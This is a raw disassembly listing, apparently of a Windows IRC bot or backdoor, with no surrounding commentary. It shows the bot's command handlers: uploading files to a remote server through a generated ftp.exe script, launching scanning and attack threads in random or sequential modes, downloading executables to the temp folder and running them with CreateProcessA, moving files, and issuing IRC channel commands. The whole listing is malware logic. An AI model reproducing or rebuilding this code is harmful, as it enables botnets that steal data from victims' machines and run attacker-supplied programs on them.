[ebp+var_C98] push edi push eax push esi call dword_491674 ; recv lea eax, [ebp+var_C98] push ebx push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_159C] push eax push esi call dword_4916AC ; send push ebx lea eax, [ebp+var_C98] push edi push eax push esi call dword_491674 ; recv push esi call dword_4916F4 ; closesocket call dword_4915BC ; WSACleanup lea eax, [ebp+var_B94] push eax push offset unk_42ED84 loc_40A6AD: ; CODE XREF: sub_4087B3+2B28j ; sub_4087B3+2C45j ... lea eax, [ebp+var_2E4] push eax call sub_416821 add esp, 0Ch loc_40A6BC: ; CODE XREF: sub_4087B3+2B0Cj ; sub_4087B3+2BF7j ... cmp [ebp+var_8], ebx jnz loc_40CC93 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 add esp, 14h jmp loc_40CC93 ; --------------------------------------------------------------------------- loc_40A6E6: ; CODE XREF: sub_4087B3+1D9Fj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz loc_408B77 push edi push offset aFtp_upload ; "ftp.upload" call sub_416B70 pop ecx test eax, eax pop ecx jnz loc_40D023 push 4 push esi call sub_401005 pop ecx test eax, eax pop ecx jnz short loc_40A74F push esi push offset dword_42ED40 loc_40A71E: ; CODE XREF: sub_4087B3+2416j ; sub_4087B3+386Cj lea eax, [ebp+var_2E4] push eax call sub_416821 add esp, 0Ch loc_40A72D: ; CODE XREF: sub_4087B3+23FAj ; sub_4087B3+3308j ... cmp [ebp+var_8], ebx jnz loc_40CEDA push ebx push [ebp+var_4] loc_40A73A: ; CODE XREF: sub_4087B3+2A3Bj lea eax, [ebp+var_2E4] push eax push [ebp+var_98] push [ebp+arg_4] jmp loc_40C73B ; --------------------------------------------------------------------------- loc_40A74F: ; CODE XREF: sub_4087B3+1F63j call ds:dword_495340 ; GetTickCount push eax call sub_416B0E pop ecx call sub_416B18 push 9 cdq pop ecx idiv ecx push edx call sub_416B18 push 63h cdq pop ecx idiv ecx push edx call sub_416B18 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_C9C] push edx push eax lea eax, [ebp+var_B98] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_416821 lea eax, [ebp+var_B98] push offset aAb ; "ab" push eax call sub_417012 mov edi, eax add esp, 20h cmp edi, ebx jz loc_408B77 push esi push [ebp+arg_8] push [ebp+arg_0] push [ebp+arg_18] push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push edi call sub_417AD3 push edi call sub_416D94 lea eax, [ebp+var_B98] push eax lea eax, [ebp+var_3E4] push offset aSS_4 ; "-s:%s" push eax call sub_416821 add esp, 2Ch lea eax, [ebp+var_3E4] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4915D0 push [ebp+arg_10] test eax, eax push esi jz short loc_40A81A push offset dword_42ECB0 jmp short loc_40A81F ; --------------------------------------------------------------------------- loc_40A81A: ; CODE XREF: sub_4087B3+205Ej push offset dword_42EC6C loc_40A81F: ; CODE XREF: sub_4087B3+2065j call sub_416821 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40A848 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 add esp, 14h loc_40A848: ; CODE XREF: sub_4087B3+2077j lea eax, [ebp+var_2E4] push eax call sub_401014 loc_40A854: ; CODE XREF: sub_4087B3+20C6j lea eax, [ebp+var_B98] push 4 push eax call sub_401005 add esp, 0Ch test eax, eax jz loc_408B77 lea eax, [ebp+var_B98] push eax call sub_417A9E jmp short loc_40A854 ; --------------------------------------------------------------------------- loc_40A87B: ; CODE XREF: sub_4087B3+1D75j ; sub_4087B3+1D8Aj push 8 call sub_4010E6 push [ebp+arg_18] mov edi, eax call sub_416CCF add eax, edi pop ecx cmp eax, 0C8h pop ecx jle short loc_40A8C7 push edi loc_40A898: ; DATA XREF: .data:0042AA94o ; .data:0042AAD8o ... lea eax, [ebp+var_2E4] push offset dword_42EC14 push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 jmp loc_40BA75 ; --------------------------------------------------------------------------- loc_40A8C7: ; CODE XREF: sub_4087B3+20E2j push [ebp+arg_10] call sub_416CCF push [ebp+arg_18] mov [ebp+var_31C], eax call sub_416CCF push [ebp+arg_0] mov [ebp+var_304], eax call sub_416CCF add esp, 0Ch cmp eax, 5 mov [ebp+var_318], eax jnb short loc_40A902 push 5 pop eax mov [ebp+var_318], eax loc_40A902: ; CODE XREF: sub_4087B3+2144j push 3Ch pop ecx cmp eax, ecx jbe short loc_40A90F mov [ebp+var_318], ecx loc_40A90F: ; CODE XREF: sub_4087B3+2154j push [ebp+arg_8] call sub_416CCF mov [ebp+var_314], eax mov eax, 320h cmp [ebp+var_314], eax pop ecx jbe short loc_40A931 mov [ebp+var_314], eax loc_40A931: ; CODE XREF: sub_4087B3+2176j or [ebp+var_300], 0FFFFFFFFh cmp dword_42AF28, ebx mov [ebp+arg_8], ebx jz short loc_40A980 mov edi, offset dword_42AF28 loc_40A948: ; CODE XREF: sub_4087B3+21AFj push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_416B70 pop ecx test eax, eax pop ecx jz short loc_40A966 inc [ebp+arg_8] add edi, 3Ch cmp [edi], ebx jnz short loc_40A948 jmp short loc_40A980 ; --------------------------------------------------------------------------- loc_40A966: ; CODE XREF: sub_4087B3+21A5j mov eax, [ebp+arg_8] mov ecx, eax mov [ebp+var_300], eax imul ecx, 3Ch mov ecx, dword_42AF28[ecx] mov [ebp+var_31C], ecx loc_40A980: ; CODE XREF: sub_4087B3+218Ej ; sub_4087B3+21B1j cmp [ebp+var_31C], ebx jz loc_40C450 mov edi, [ebp+esi+var_8C] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_40A9CA cmp byte ptr [edi], 23h jz short loc_40A9CA push edi lea eax, [ebp+var_430] push 10h push eax call sub_4163D7 push 78h push edi call sub_417B60 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_2F0], eax jmp loc_40AA9E ; --------------------------------------------------------------------------- loc_40A9CA: ; CODE XREF: sub_4087B3+21E5j ; sub_4087B3+21EAj cmp [ebp+var_9B3], bl jnz short loc_40A9EC cmp [ebp+var_9B2], bl jnz short loc_40A9EC cmp [ebp+var_9A2], bl jnz short loc_40A9EC push offset dword_42EBC8 jmp loc_40C455 ; --------------------------------------------------------------------------- loc_40A9EC: ; CODE XREF: sub_4087B3+221Dj ; sub_4087B3+2225j ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_D8] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_491600 ; getsockname mov al, [ebp+var_9B3] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_D4], eax push [ebp+var_D4] call dword_4916E8 ; inet_ntoa push eax lea eax, [ebp+var_430] push eax call sub_416A10 add esp, 0Ch cmp [ebp+var_9A2], bl jz short loc_40AA98 xor eax, eax cmp [ebp+var_9B3], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_430] push eax call sub_4169E0 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_40AA8C loc_40AA6A: ; CODE XREF: sub_4087B3+22D7j cmp eax, ebx jz short loc_40AA8C mov byte ptr [eax], 78h lea eax, [ebp+var_430] push 30h push eax call sub_4169E0 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40AA6A loc_40AA8C: ; CODE XREF: sub_4087B3+22B5j ; sub_4087B3+22B9j mov [ebp+var_2F0], 1 jmp short loc_40AA9E ; --------------------------------------------------------------------------- loc_40AA98: ; CODE XREF: sub_4087B3+228Fj mov [ebp+var_2F0], ebx loc_40AA9E: ; CODE XREF: sub_4087B3+2212j ; sub_4087B3+22E3j mov eax, [ebp+arg_4] push [ebp+var_98] mov [ebp+var_320], eax mov eax, [ebp+var_4] mov [ebp+var_2F8], eax mov eax, [ebp+var_8] mov [ebp+var_2F4], eax mov edi, 80h lea eax, [ebp+var_420] push edi push eax call sub_4163D7 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_40AAF2 loc_40AADF: ; CODE XREF: sub_4087B3+2362j push esi loc_40AAE0: ; CODE XREF: sub_4087B3+234Cj lea eax, [ebp+var_3A0] push edi push eax call sub_4163D7 add esp, 0Ch jmp short loc_40AB1D ; --------------------------------------------------------------------------- loc_40AAF2: ; CODE XREF: sub_4087B3+232Aj mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40AB01 cmp byte ptr [eax], 23h jnz short loc_40AB01 push eax jmp short loc_40AAE0 ; --------------------------------------------------------------------------- loc_40AB01: ; CODE XREF: sub_4087B3+2344j ; sub_4087B3+2349j mov esi, offset aAwk1 ; "##awk1" push offset byte_4370BC push esi call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_40AADF mov [ebp+var_3A0], bl loc_40AB1D: ; CODE XREF: sub_4087B3+233Dj cmp [ebp+var_2F0], ebx mov eax, offset aRandom ; "Random" jnz short loc_40AB2F mov eax, offset aSequential ; "Sequential" loc_40AB2F: ; CODE XREF: sub_4087B3+2375j push [ebp+var_304] lea ecx, [ebp+var_430] push [ebp+var_314] push [ebp+var_318] push [ebp+var_31C] push ecx push eax lea eax, [ebp+var_2E4] push offset dword_42EB28 push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push 8 push eax call sub_40105F add esp, 2Ch mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_430] push ebx push eax push offset loc_401366 push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40ABBD loc_40ABA7: ; CODE XREF: sub_4087B3+2408j cmp [ebp+var_2EC], ebx jnz loc_40A72D push 32h call ds:dword_495324 ; Sleep jmp short loc_40ABA7 ; --------------------------------------------------------------------------- loc_40ABBD: ; CODE XREF: sub_4087B3+23F2j call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset dword_42EADC jmp loc_40A71E ; --------------------------------------------------------------------------- loc_40ABCE: ; CODE XREF: sub_4087B3+1D39j ; sub_4087B3+1D4Ej push [ebp+arg_10] call sub_416CCF imul eax, 234h pop ecx cmp byte_43E938[eax], bl jz loc_40D023 cmp [ebp+var_C], ebx jz loc_40D023 push [ebp+arg_18] call sub_4158E0 push [ebp+arg_10] mov esi, eax call sub_4158E0 push edi add esi, eax call sub_4158E0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417760 mov esi, eax lea eax, [ebp+var_2E4] push esi push offset dword_42EACC push eax call sub_416821 add esp, 20h cmp esi, ebx jz loc_40D023 mov edi, [ebp+arg_10] push edi call sub_416CCF test eax, eax pop ecx jle loc_40D023 push edi call sub_416CCF cmp eax, 1F4h pop ecx jge loc_40D023 push ebx lea eax, [ebp+var_2E4] push ebx push eax push [ebp+arg_18] push edi call sub_416CCF imul eax, 234h pop ecx push dword_43E92C[eax] call sub_4010D2 push edi call sub_416CCF imul eax, 234h add esp, 18h cmp byte ptr dword_43E720[eax], 73h jnz loc_40D023 push esi push edi call sub_416CCF imul eax, 234h pop ecx add eax, offset byte_43E938 push eax push [ebp+arg_18] push offset aSSS ; "[%s] * %s %s" loc_40ACBB: ; CODE XREF: sub_4087B3+2607j lea eax, [ebp+var_2E4] push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 jmp loc_40C8C7 ; --------------------------------------------------------------------------- loc_40ACE5: ; CODE XREF: sub_4087B3+1D0Fj ; sub_4087B3+1D24j push [ebp+arg_10] call sub_416CCF imul eax, 234h pop ecx cmp byte_43E938[eax], bl jz loc_40D023 cmp [ebp+var_C], ebx jz loc_40D023 push [ebp+arg_18] call sub_4158E0 push [ebp+arg_10] mov esi, eax call sub_4158E0 push edi add esi, eax call sub_4158E0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417760 mov esi, eax add esp, 14h cmp esi, ebx jz loc_40D023 mov edi, [ebp+arg_10] push edi call sub_416CCF test eax, eax pop ecx jle loc_40D023 push edi call sub_416CCF cmp eax, 1F4h pop ecx jge loc_40D023 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_416CCF imul eax, 234h pop ecx push dword_43E92C[eax] call sub_4010D2 push edi call sub_416CCF imul eax, 234h add esp, 18h cmp byte ptr dword_43E720[eax], 73h jnz loc_40D023 push esi push edi call sub_416CCF imul eax, 234h pop ecx add eax, offset byte_43E938 push eax push [ebp+arg_18] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_40ACBB ; --------------------------------------------------------------------------- loc_40ADBF: ; CODE XREF: sub_4087B3+1CE5j ; sub_4087B3+1CFAj push [ebp+arg_10] call dword_49169C ; inet_addr push [ebp+arg_18] mov [ebp+var_460], eax call sub_416CCF push [ebp+arg_0] mov [ebp+var_46C], eax call sub_416CCF mov esi, [ebp+arg_4] push 7Fh push [ebp+var_98] mov [ebp+var_468], eax lea eax, [ebp+var_4EC] mov [ebp+var_4F0], esi push eax call sub_416A10 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_458], edi push [ebp+var_468] mov [ebp+var_454], eax push [ebp+var_46C] push [ebp+var_460] call dword_4916E8 ; inet_ntoa push eax lea eax, [ebp+var_2E4] push offset dword_42EA5C push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push 8 push eax call sub_40105F add esp, 20h mov [ebp+var_464], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_4010C8 push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, [ebp+var_464] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40AEA3 loc_40AE8D: ; CODE XREF: sub_4087B3+26EEj cmp [ebp+var_450], ebx jnz loc_40C722 push 32h call ds:dword_495324 ; Sleep jmp short loc_40AE8D ; --------------------------------------------------------------------------- loc_40AEA3: ; CODE XREF: sub_4087B3+26D8j call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset dword_42EADC jmp loc_40C713 ; --------------------------------------------------------------------------- loc_40AEB4: ; CODE XREF: sub_4087B3+1CBBj ; sub_4087B3+1CD0j push [ebp+arg_10] call sub_416CCF push 7Fh mov [ebp+var_300], eax push [ebp+arg_18] lea eax, [ebp+var_404] push eax call sub_416A10 push [ebp+arg_0] call sub_416CCF push [ebp+var_98] mov esi, [ebp+arg_4] mov [ebp+var_304], eax lea eax, [ebp+var_384] push 80h push eax mov [ebp+var_40C], esi call sub_4163D7 mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_2F0], eax push [ebp+var_304] lea eax, [ebp+var_404] mov [ebp+var_2F4], edi push eax push [ebp+var_300] push esi call sub_401299 pop ecx push eax lea eax, [ebp+var_2E4] push offset dword_42EA08 push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push 10h push eax call sub_40105F add esp, 24h mov [ebp+var_2FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_40C] push ebx push eax push offset sub_4011C7 push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, [ebp+var_2FC] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40AF9F loc_40AF89: ; CODE XREF: sub_4087B3+27EAj cmp [ebp+var_2EC], ebx jnz loc_40C722 push 32h call ds:dword_495324 ; Sleep jmp short loc_40AF89 ; --------------------------------------------------------------------------- loc_40AF9F: ; CODE XREF: sub_4087B3+27D4j call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset dword_42E9AC jmp loc_40C713 ; --------------------------------------------------------------------------- loc_40AFB0: ; CODE XREF: sub_4087B3+1C91j ; sub_4087B3+1CA6j mov edi, 0FFh lea eax, [ebp+var_788] push edi push [ebp+arg_10] push eax call sub_416A10 push edi lea eax, [ebp+var_688] push [ebp+arg_18] push eax call sub_416A10 push [ebp+arg_0] mov [ebp+var_584], ebx call sub_416CCF mov [ebp+var_580], eax mov eax, [ebp+esi+var_90] add esp, 1Ch cmp eax, ebx jz short loc_40B00B push 10h push ebx push eax call sub_4174DB add esp, 0Ch mov [ebp+var_578], eax jmp short loc_40B011 ; --------------------------------------------------------------------------- loc_40B00B: ; CODE XREF: sub_4087B3+2842j mov [ebp+var_578], ebx loc_40B011: ; CODE XREF: sub_4087B3+2856j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40B02B push esi call sub_416CCF pop ecx mov [ebp+var_57C], eax jmp short loc_40B031 ; --------------------------------------------------------------------------- loc_40B02B: ; CODE XREF: sub_4087B3+2867j mov [ebp+var_57C], ebx loc_40B031: ; CODE XREF: sub_4087B3+2876j movzx eax, [ebp+var_9AF] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_98] mov [ebp+var_574], eax lea eax, [ebp+var_808] mov [ebp+var_80C], esi push eax call sub_416A10 push [ebp+arg_18] mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov [ebp+var_570], eax push [ebp+arg_10] lea eax, [ebp+var_2E4] mov [ebp+var_56C], edi push offset dword_42E96C push eax call sub_416821 push esi lea eax, [ebp+var_2E4] push 15h push eax call sub_40105F add esp, 28h mov [ebp+var_588], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_80C] push ebx push eax push offset sub_40104B push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, [ebp+var_588] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40B0E1 loc_40B0CB: ; CODE XREF: sub_4087B3+292Cj cmp [ebp+var_568], ebx jnz loc_40C722 push 32h call ds:dword_495324 ; Sleep jmp short loc_40B0CB ; --------------------------------------------------------------------------- loc_40B0E1: ; CODE XREF: sub_4087B3+2916j call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset dword_42E914 jmp loc_40C713 ; --------------------------------------------------------------------------- loc_40B0F2: ; CODE XREF: sub_4087B3+1C67j ; sub_4087B3+1C7Cj push 7Fh lea eax, [ebp+var_774] pop esi push esi push [ebp+arg_10] push eax call sub_416A10 push esi lea eax, [ebp+var_6F4] push [ebp+arg_18] push eax call sub_416A10 push esi lea eax, [ebp+var_674] push [ebp+arg_0] push eax call sub_416A10 push esi lea eax, [ebp+var_5F4] push [ebp+var_98] push eax call sub_416A10 push [ebp+arg_0] mov eax, [ebp+arg_4] mov esi, [ebp+var_4] mov edi, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_778], eax lea eax, [ebp+var_2E4] mov [ebp+var_570], esi push [ebp+arg_10] mov [ebp+var_56C], edi push offset dword_42E8D0 push eax call sub_416821 add esp, 44h lea eax, [ebp+var_2E4] push ebx push 0Bh push eax call sub_40105F add esp, 0Ch mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_778] push ebx push eax push offset sub_4012E9 push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40B1C9 loc_40B1B7: ; CODE XREF: sub_4087B3+2A14j cmp [ebp+var_568], ebx jnz short loc_40B1E4 push 32h call ds:dword_495324 ; Sleep jmp short loc_40B1B7 ; --------------------------------------------------------------------------- loc_40B1C9: ; CODE XREF: sub_4087B3+2A02j call ds:dword_495328 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2E4] push offset dword_42E880 push eax call sub_416821 add esp, 0Ch loc_40B1E4: ; CODE XREF: sub_4087B3+2A0Aj cmp edi, ebx jnz loc_40CEDA push ebx push esi jmp loc_40A73A ; --------------------------------------------------------------------------- loc_40B1F3: ; CODE XREF: sub_4087B3+1C3Dj ; sub_4087B3+1C52j push 7Fh lea eax, [ebp+var_444] push [ebp+arg_10] push eax call sub_416A10 push [ebp+arg_18] call sub_416CCF push 3Fh mov [ebp+var_2F4], eax push [ebp+arg_0] lea eax, [ebp+var_3C4] push eax call sub_416A10 mov esi, [ebp+esi+var_90] add esp, 1Ch cmp esi, ebx jz short loc_40B243 push 3Fh lea eax, [ebp+var_384] push esi push eax call sub_416A10 add esp, 0Ch loc_40B243: ; CODE XREF: sub_4087B3+2A7Cj lea eax, [ebp+var_3C4] mov [ebp+var_2F0], 1 push eax lea eax, [ebp+var_444] push [ebp+var_2F4] push eax lea eax, [ebp+var_2E4] push offset unk_42E83C push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push 17h push eax call sub_40105F add esp, 20h mov [ebp+var_2EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_448] push ebx push eax push offset sub_4010FF push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, [ebp+var_2EC] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40B2CF loc_40B2B9: ; CODE XREF: sub_4087B3+2B1Aj cmp [ebp+var_2E8], ebx jnz loc_40A6BC push 32h call ds:dword_495324 ; Sleep jmp short loc_40B2B9 ; --------------------------------------------------------------------------- loc_40B2CF: ; CODE XREF: sub_4087B3+2B04j call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset unk_42E7EC jmp loc_40A6AD ; --------------------------------------------------------------------------- loc_40B2E0: ; CODE XREF: sub_4087B3+1C01j ; sub_4087B3+1C16j push [ebp+arg_18] push [ebp+arg_10] call ds:dword_4953BC ; MoveFileA test eax, eax jz short loc_40B311 push [ebp+arg_18] lea eax, [ebp+var_2E4] push [ebp+arg_10] push offset dword_42E7B4 push 200h push eax call sub_4163D7 add esp, 14h jmp short loc_40B330 ; --------------------------------------------------------------------------- loc_40B311: ; CODE XREF: sub_4087B3+2B3Bj push offset dword_42E798 call sub_4010F5 push eax lea eax, [ebp+var_2E4] push 200h push eax call sub_4163D7 add esp, 10h loc_40B330: ; CODE XREF: sub_4087B3+164Fj ; sub_4087B3+1677j ... cmp [ebp+var_8], ebx jnz short loc_40B351 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 add esp, 14h loc_40B351: ; CODE XREF: sub_4087B3+F6Fj ; sub_4087B3+2B80j ... push 1 pop esi loc_40B354: ; CODE XREF: sub_4087B3+2DFFj ; sub_4087B3+3618j ... lea eax, [ebp+var_2E4] push eax call sub_401014 pop ecx mov eax, esi jmp loc_408B7A ; --------------------------------------------------------------------------- loc_40B368: ; CODE XREF: sub_4087B3+1BD7j ; sub_4087B3+1BECj push 44h lea eax, [ebp+var_48C] pop esi push esi push ebx push eax call sub_415CA0 push 1 mov [ebp+var_48C], esi pop edi mov word ptr [ebp+var_45C], bx push [ebp+arg_10] mov [ebp+var_460], edi call sub_416CCF add esp, 10h cmp eax, edi jnz short loc_40B3A7 mov word ptr [ebp+var_45C], 5 loc_40B3A7: ; CODE XREF: sub_4087B3+2BE9j cmp [ebp+var_C], ebx jz loc_40A6BC push [ebp+arg_18] push [ebp+var_C] call sub_417760 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40A6BC lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_48C] push eax push ebx push ebx push 28h push edi push ebx push ebx push esi push ebx call ds:dword_495354 ; CreateProcessA test eax, eax jnz short loc_40B3F2 push offset dword_42E760 jmp loc_40BE82 ; --------------------------------------------------------------------------- loc_40B3F2: ; CODE XREF: sub_4087B3+2C33j push esi push offset dword_42E734 jmp loc_40A6AD ; --------------------------------------------------------------------------- loc_40B3FD: ; CODE XREF: sub_4087B3+1BADj ; sub_4087B3+1BC2j push [ebp+arg_18] push offset dword_42C954 call sub_416B70 mov edi, [ebp+arg_4] pop ecx test eax, eax pop ecx jz loc_40B57D lea eax, [ebp+var_3E8] push eax push 104h call ds:dword_4953B8 ; GetTempPathA push 0FFh lea eax, [ebp+var_788] push [ebp+arg_10] push eax call sub_416A10 lea eax, [ebp+var_E4] push eax call sub_4011E0 push eax lea eax, [ebp+var_3E8] push eax lea eax, [ebp+var_688] push offset aSS_exe ; "%s%s.exe" push eax call sub_416821 mov eax, [ebp+esi+var_94] add esp, 20h cmp eax, ebx mov [ebp+var_584], 1 mov [ebp+var_580], ebx jz short loc_40B494 push 10h push ebx push eax call sub_4174DB add esp, 0Ch mov [ebp+var_578], eax jmp short loc_40B49A ; --------------------------------------------------------------------------- loc_40B494: ; CODE XREF: sub_4087B3+2CCBj mov [ebp+var_578], ebx loc_40B49A: ; CODE XREF: sub_4087B3+2CDFj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_40B4B4 push esi call sub_416CCF pop ecx mov [ebp+var_57C], eax jmp short loc_40B4BA ; --------------------------------------------------------------------------- loc_40B4B4: ; CODE XREF: sub_4087B3+2CF0j mov [ebp+var_57C], ebx loc_40B4BA: ; CODE XREF: sub_4087B3+2CFFj movzx eax, [ebp+var_9AF] push 7Fh mov [ebp+var_574], eax push [ebp+var_98] lea eax, [ebp+var_808] mov [ebp+var_80C], edi push eax call sub_416A10 mov eax, [ebp+var_4] push [ebp+arg_10] mov [ebp+var_56C], eax mov eax, [ebp+var_8] mov [ebp+var_570], eax lea eax, [ebp+var_2E4] push offset unk_42E6E8 push eax call sub_416821 push edi lea eax, [ebp+var_2E4] push 16h push eax call sub_40105F add esp, 24h mov [ebp+var_588], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_80C] push ebx push eax push offset sub_40104B push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, [ebp+var_588] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40B560 loc_40B54E: ; CODE XREF: sub_4087B3+2DABj cmp [ebp+var_568], ebx jnz short loc_40B590 push 32h call ds:dword_495324 ; Sleep jmp short loc_40B54E ; --------------------------------------------------------------------------- loc_40B560: ; CODE XREF: sub_4087B3+2D99j call ds:dword_495328 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2E4] push offset unk_42E690 push eax call sub_416821 add esp, 0Ch jmp short loc_40B590 ; --------------------------------------------------------------------------- loc_40B57D: ; CODE XREF: sub_4087B3+2C5Ej lea eax, [ebp+var_2E4] push offset unk_42E630 push eax call sub_416821 pop ecx pop ecx loc_40B590: ; CODE XREF: sub_4087B3+2DA1j ; sub_4087B3+2DC8j cmp [ebp+var_8], ebx jnz short loc_40B5AF push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_98] push edi loc_40B5A7: ; CODE XREF: sub_4087B3+1965j call sub_4010D2 add esp, 14h loc_40B5AF: ; CODE XREF: sub_4087B3+194Bj ; sub_4087B3+2DE0j ... mov esi, [ebp+arg_24] jmp loc_40B354 ; --------------------------------------------------------------------------- loc_40B5B7: ; CODE XREF: sub_4087B3+1B83j ; sub_4087B3+1B98j push [ebp+var_9C] push offset a332 ; "332" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_408B77 cmp [ebp+var_C], ebx jz loc_408B77 push [ebp+arg_18] push [ebp+var_C] call sub_417760 push eax lea eax, [ebp+var_2E4] push [ebp+var_98] push [ebp+var_9C] push [ebp+var_A0] push offset aSSSS ; "%s %s %s :%s" push eax call sub_416821 lea eax, [ebp+var_2E4] push 1FFh push eax push [ebp+arg_0] call sub_416A10 push [ebp+arg_10] call sub_416CCF add esp, 30h test eax, eax jle short loc_40B642 push [ebp+arg_10] call sub_416CCF imul eax, 3E8h pop ecx push eax call ds:dword_495324 ; Sleep loc_40B642: ; CODE XREF: sub_4087B3+2E77j push offset dword_42E5FC call sub_401014 mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_408B7A ; --------------------------------------------------------------------------- loc_40B656: ; CODE XREF: sub_4087B3+1B59j ; sub_4087B3+1B6Ej push [ebp+var_9C] push offset a332 ; "332" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_408B77 cmp [ebp+var_C], ebx jz loc_40D023 mov edi, [ebp+arg_18] push edi push [ebp+var_C] call sub_417760 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_416B70 add esp, 10h test eax, eax push esi jz short loc_40B714 push [ebp+var_98] lea eax, [ebp+var_2E4] push [ebp+var_9C] push [ebp+var_A0] push offset aSSSS ; "%s %s %s :%s" push eax call sub_416821 lea eax, [ebp+var_2E4] push 1FFh push eax push [ebp+arg_0] call sub_416A10 push esi lea eax, [ebp+var_2E4] push offset dword_42E5D4 push eax call sub_416821 lea eax, [ebp+var_2E4] push eax call sub_401014 push [ebp+arg_10] call sub_416CCF add esp, 38h test eax, eax jle loc_40D023 push [ebp+arg_10] call sub_416CCF add eax, [ebp+arg_24] pop ecx jmp loc_408B7A ; --------------------------------------------------------------------------- loc_40B714: ; CODE XREF: sub_4087B3+2EE6j push offset unk_42E58C jmp loc_40A6AD ; --------------------------------------------------------------------------- loc_40B71E: ; CODE XREF: sub_4087B3+1B2Fj ; sub_4087B3+1B44j push [ebp+arg_18] lea eax, [ebp+var_2E4] push offset aPartS ; "PART %s" push eax call sub_416821 push [ebp+arg_10] call sub_416CCF add esp, 10h loc_40B73D: ; CODE XREF: sub_4087B3+2FF7j test eax, eax jle loc_40D023 push [ebp+arg_10] call sub_416CCF cmp eax, 1F4h pop ecx jge loc_40D023 loc_40B759: ; CODE XREF: sub_4087B3+3799j lea eax, [ebp+var_2E4] push eax push offset aS ; "%s\r\n" push [ebp+arg_10] call sub_416CCF imul eax, 234h pop ecx push dword_43E92C[eax] call sub_401032 jmp loc_40CDB6 ; 